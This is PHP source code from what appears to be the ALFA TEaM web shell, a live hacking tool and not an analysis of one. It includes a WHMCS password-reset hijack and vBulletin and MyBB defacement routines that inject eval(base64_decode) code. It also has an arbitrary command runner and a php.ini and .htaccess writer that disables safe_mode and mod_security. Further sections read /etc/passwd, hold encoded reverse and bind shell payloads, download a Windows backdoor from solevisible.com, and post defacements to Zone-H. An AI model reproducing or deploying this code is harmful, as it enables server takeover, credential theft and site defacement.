$tempSave = str_replace("'","\'",$tempSave1);
$inject = "UPDATE tblemailtemplates SET message='$Def' WHERE name='Password Reset Validation'";
$result=@mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values('solevisible@fbi.gov')";
$result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists('curl_version')){
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert('File Created...');
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$path."/".$fname."'>Click Here !</a></font></b></center><br><br>";
}else{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" ".$path."/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" ".$path."/".$fname." \"</font></b></center><br><br>";
}}}}
if(isset($_POST['alfa1']) && ($_POST['alfa1'] == 'vb')){
echo __pre();

echo "<center><center><div class='txtfont_header'>| vBulletin |</div>
<p><center>".getConfigHtml('vb')."<form onSubmit=\"g('IndexChanger',null,'vb',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,'>>'); return false;\">
";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Prefix', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name='index' rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
<input type='submit' value=' '></form></center></center>";
if($_POST['alfa8']=='>>'){
$s0levisible="Powered By Solevisible";
$dbu = $_POST['alfa2'];
$dbn = $_POST['alfa3'];
$dbp = $_POST['alfa4'];
$dbh = $_POST['alfa5'];
$index = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= __ZW5jb2Rlcg("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}";
if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$loli1 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='spacer_open'";
$loli2 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='FORUMHOME'";
$loli3 = "UPDATE ".$prefix."style SET css='".$set_index."".$s0levisible."', stylevars='', csscolors='', editorstyles=''";
@mysqli_query($conn,$loli1) or die (mysqli_error($conn));
@mysqli_query($conn,$loli2) or die (mysqli_error($conn));
@mysqli_query($conn,$loli3) or die (mysqli_error($conn));
__alert('VB index changed...!');
}
}
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'mybb')) {
echo __pre();

echo "<center><center><div class='txtfont_header'>| Mybb |</div>
<p><center>".getConfigHtml('mybb')."<form onSubmit=\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=''>
";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'mybbdbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'mybbdbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'mybbdbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'mybbdbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name=mybbindex rows='19' cols='103'>
<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type='submit' value='' ></p></form></center></center>";
if(isset($_POST['alfa6'])){
$mybb_dbh = $_POST['alfa6'];
$mybb_dbu = $_POST['alfa7'];
$mybb_dbn = $_POST['alfa8'];
$mybb_dbp = $_POST['alfa9'];
$mybb_index = $_POST['alfa10'];
if(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){
$conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn));
$prefix="mybb_";
$loli7 = "UPDATE ".$prefix."templates SET template='".$mybb_index."' WHERE title='index'";
$result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn));
__alert('MyBB index changed...!');
}
}
}
echo "</div>";
alfafooter();
}
function alfaproc()
{
alfahead();
echo "<Div class=header><br><center>";
if(empty($_POST['ajax'])&&!empty($_POST['alfa1']))
$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
if($GLOBALS['sys']=="win"){
$process=array(
"Task List" =>"tasklist /V",
"System Info" =>"systeminfo",
"Active Connections" => "netstat -an",
"Running Services" => "net start",
"User Accounts" => "net user",
"Show Computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);}else{
$process=array(
"Process status" => "ps aux",
"Syslog" =>"cat /etc/syslog.conf",
"Resolv" => "cat /etc/resolv.conf",
"Hosts" =>"cat /etc/hosts",
"Cpuinfo"=>"cat /proc/cpuinfo",
"Version"=>"cat /proc/version",
"Sbin"=>"ls -al /usr/sbin",
"Interrupts"=>"cat /proc/interrupts",
"lsattr"=>"lsattr -va",
"Uptime"=>"uptime",
"Fstab" =>"cat /etc/fstab"
);}
foreach($process as $n => $link){
echo '<a href="javascript:void(0);" onclick="g(\'proc\',null,\''.$link.'\')"> | '.$n.' | </a>';
}
echo "</center><br>";
if(!empty($_POST['alfa1'])){
echo "<pre class='ml1' style='margin-top:5px' >";
if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."';";}
echo alfaEx($cmd.$_POST['alfa1'], true);
echo '</pre>';
}
echo "</div>";
alfafooter();
}
function alfasafe(){
alfahead();
echo "<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |</div>";
echo '<h3><a href=javascript:void(0) onclick="g(\'safe\',null,\'php.ini\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,\'ini\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,\'users\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>';
if(!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains'){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
echo __pre();
$solevisible9 = _alfa_file('/etc/named.conf');
if(is_array($solevisible9)){
foreach($solevisible9 as $solevisible13){
if(@eregi('zone',$solevisible13)){
preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14);
if(strlen(trim($solevisible14[1][0])) > 2){
echo $solevisible14[1][0].'<br>';
}}}
}
}else{
echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
if(is_array($users)){
foreach($users as $boz){
$dom = explode(":",$boz);
echo $dom[0]."\n";}}}}
if(!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases'){
echo '
<form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,\'>>\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>';
if(isset($_POST['alfa9']) && $_POST['alfa9'] == '>>'){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
$site = trim($_POST['alfa7']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$user = "";
if(function_exists("posix_getpwuid") && function_exists("fileowner")){
	if($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){
		$user = $user['name'];
	}
}else{
	if(_alfa_can_runCommand(true,true)){
		$user = alfaEx("stat -c '%U' /etc/valiases/".$rep);
	}
}
if(!empty($user)&&$user!='root'){
echo __pre()."<center><table border='1'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
}else {echo __pre().'<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';}
}else{
$site = trim($_POST['alfa7']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$users = _alfa_file("/etc/virtual/domainowners");
foreach($users as $boz){
$ex = explode(":",$boz);
if($ex[0] == $rep){
echo __pre()."<center><table border='1'>
<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">".trim($ex[1])."</font></b></td></tr>
<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";break;}}}}}
if(!empty($_POST['alfa5']) && isset($_POST['alfa5'])){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
echo __pre();
$i = 0;
while ($i < 60000) {
$line = @posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vl) = each($line)){
echo $vl."\n";
break;}}$i++;}
}else{echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
foreach($users as $boz){
$user = explode(":",$boz);
echo trim($user[1]).'<br>';}}}
if(!empty($_POST['alfa4']) && isset($_POST['alfa4'])){
echo __pre();
if(_alfa_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){
for($uid=0;$uid<60000;$uid++){
$ara = @posix_getpwuid($uid);
if(!empty($ara)){
while(list ($key, $val) = each($ara)){
echo "$val:";
}echo "\n";}}
}else{__alert('failed...');}}
if(!empty($_POST['alfa2']) && isset($_POST['alfa2'])){
@__write_file($GLOBALS['cwd'].".htaccess","#Generated By Sole Sad and Invisible\n<IfModule mod_security.c>\nSec------Engine Off\nSec------ScanPOST Off\n</IfModule>");
echo '<center><b><big>htaccess for Apache created...!</center></b></big>';
}
if(!empty($_POST['alfa1'])&& isset($_POST['alfa1'])){
@__write_file($GLOBALS['cwd']."php.ini","safe_mode=OFF\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)");
echo '<center><b><big> php.ini created...!</center></b></big>';
}
if(!empty($_POST['alfa3']) && isset($_POST['alfa3'])){
@__write_file($GLOBALS['cwd'].".htaccess","#Generated By Sole Sad and Invisible\n<Files *.php>\nForceType application/x-httpd-php4\n</Files>\n<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>");
echo '<center><b><big>htaccess for Litespeed created...!</center></b></big>';
}
echo "<br></div>";
alfafooter();
}
function __get_resource($content){
return @gzinflate(__ZGVjb2Rlcg($content));
}
function __write_file($file, $content){
if($fh = @fopen($file, "wb")){
if(fwrite($fh, $content)!==false) return true;
}
return false;
}
function bcinit($evalType, $evalCode, $evalOptions, $evalArguments){
$res = "<font color='green'>[ Success...! ]</font>";
$err = "<font color='red'>[ Failed...! ]</font>";
if($evalOptions!="") $evalOptions = $evalOptions." ";
if($evalArguments!="") $evalArguments = " ".$evalArguments;
if($evalType=="c"){
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
if(is_writable($tmpdir)){
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".c";
$path = $filename;
if(__write_file($path, $evalCode)){
$ext = ($GLOBALS['sys']=='win')? ".exe":".out";
$pathres = $filename.$ext;
$evalOptions = "-o ".$pathres." ".$evalOptions;
$cmd = "gcc ".$evalOptions.$path;
alfaEx($cmd);
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = $pathres.$evalArguments;
alfaEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}elseif($evalType=="java"){
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
if(is_writable($tmpdir)){
if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = "class ".$filename." { ".$evalCode . " } ";
}
$path = $filename.".java";
if(__write_file($path, $evalCode)){
$cmd = "javac ".$evalOptions.$path;
alfaEx($cmd);
$pathres = $filename.".class";
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = "java ".$filename.$evalArguments;
alfaEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}
return false;
}
function alfaconnect(){
alfahead();
$php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";
$python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";
$perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";
$ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";
$c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";
$java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";
echo "<div class=header><center><br><div class='txtfont_header'>| Back Connect |</div><br><br>";
echo "<form onSubmit=\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">
<div class=\"txtfont\">Mehtod:</div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell</option><option value='bind'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name='selectCb'>";
$cbArr = array("php"=>"Php","perl"=>"Perl","python"=>"Python","ruby"=>"Ruby","c"=>"C","java"=>"Java","node"=>"NodeJs","bcwin"=>"Windows");
foreach($cbArr as $key=>$val){echo("<option value='{$key}' ".($GLOBALS['sys']=='win'?'selected':'').">{$val}</option>");}
echo "</select> <div id='bcipAction' style='display:inline-block;'><div class=\"txtfont\">IP:</div> <input type='text' style='text-align:center;' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'></div> <div class=\"txtfont\">Port: </div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value=' '></form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small></div></p></center></b></font><br>";
if(isset($_POST['alfa1'])&&!empty($_POST['alfa1'])){
$lang = $_POST['alfa1'];
$ip = $_POST['alfa2'];
$port = $_POST['alfa3'];
$arg = ($_POST['alfa4']=='bind'?$port:$port.' '.$ip);
$tmpdir = ALFA_TEMPDIR;
$name = $tmpdir.'/'.$lang.uniqid().rand(1,99999);
$allow = array('perl','ruby','python','node');
eval('$lan=$'.$lang.';');
if(in_array($lang,$allow)){
if(__write_file($name,__get_resource($lan))){
if(_alfa_can_runCommand(true,true)){
$os = ($GLOBALS['sys']!='win')?'1>/dev/null 2>&1 &':'';
$out = alfaEx("$lang $name $arg $os");
if($out==''){$out="<font color='green'><center>[ Finished...! ]</center></font>";}
echo("<pre class='ml1' style='margin-top:5px'>{$out}</pre>");
}
}else{
echo("<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]</center></font></pre>");
}
}
if($lang=='java'||$lang=='c'){
$code = __get_resource($lan);
$out = nl2br(bcinit($lang, $code,'',''));
echo("<pre class=ml1 style='margin-top:5px'><center>{$out}</center></pre>");
}
if($lang=='bcwin'){
$alfa = new AlfaCURL();
$s = $alfa->Send('http://solevisible.com/bc/windows.exe');
$tmpdir = ALFA_TEMPDIR;
$f = @fopen($tmpdir.'/bcwin.exe','w+');
@fwrite($f, $s);
@fclose($f);
$out = alfaEx($tmpdir."/bcwin.exe ".$_POST['alfa2']." ".$_POST['alfa3']);
}
if($lang=='php'){
echo "<pre class=ml1 style='margin-top:5px'>";
$code = __get_resource($lan);
if($code!==false){
$code = "\$target = \"".$arg."\";\n".$code;
eval($code);
echo("<center><font color='green'>[ Finished...! ]</font></center>");
}
echo "</pre>";
}
}
echo "</div>";
alfafooter();
}
function alfazoneh(){
alfahead();
echo '<div class=header>';
if(!function_exists('curl_version')){
echo "<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
}
$hackmode = array('known vulnerability (i.e. unpatched system)','undisclosed (new) vulnerability','configuration / admin. mistake','brute force attack','social engineering','Web Server intrusion','Web Server external module intrusion','Mail Server intrusion','FTP Server intrusion','SSH Server intrusion','Telnet Server intrusion','RPC Server intrusion','Shares misconfiguration','Other Server intrusion','SQL Injection','URL Poisoning','File Inclusion','Other Web Application bug','Remote administrative panel access bruteforcing','Remote administrative panel access password guessing','Remote administrative panel access social engineering','Attack against administrator(password stealing/sniffing)','Access credentials through Man In the Middle attack','Remote service password guessing','Remote service password bruteforce','Rerouting after attacking the Firewall','Rerouting after attacking the Router','DNS attack through social engineering','DNS attack through cache poisoning','Not available','Cross-Site Scripting');
$reason = array('Heh...just for fun!','Revenge against that website','Political reasons','As a challenge','I just want to be the best defacer','Patriotism','Not available');
echo '
<center><br><div class="txtfont_header">| Zone-h Mass Poster |</div><center><br>
<form action="" method="post" onsubmit="g(\'zoneh\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\'>>\'); return false;">
<input type="text" name="defacer" size="67" id="text" placeholder="ALFA TEaM 2012" />
<br>
